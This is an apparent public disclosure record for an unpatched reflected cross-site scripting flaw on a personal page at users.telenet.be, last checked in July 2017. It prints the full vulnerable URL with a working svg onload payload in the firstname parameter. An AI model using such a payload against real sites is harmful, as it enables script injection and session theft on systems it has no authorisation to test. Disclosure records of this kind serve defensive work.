users.telenet.be XSS vulnerability

Vulnerable URL: http://users.telenet.be/tinnemertens/dom.html?firstname=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...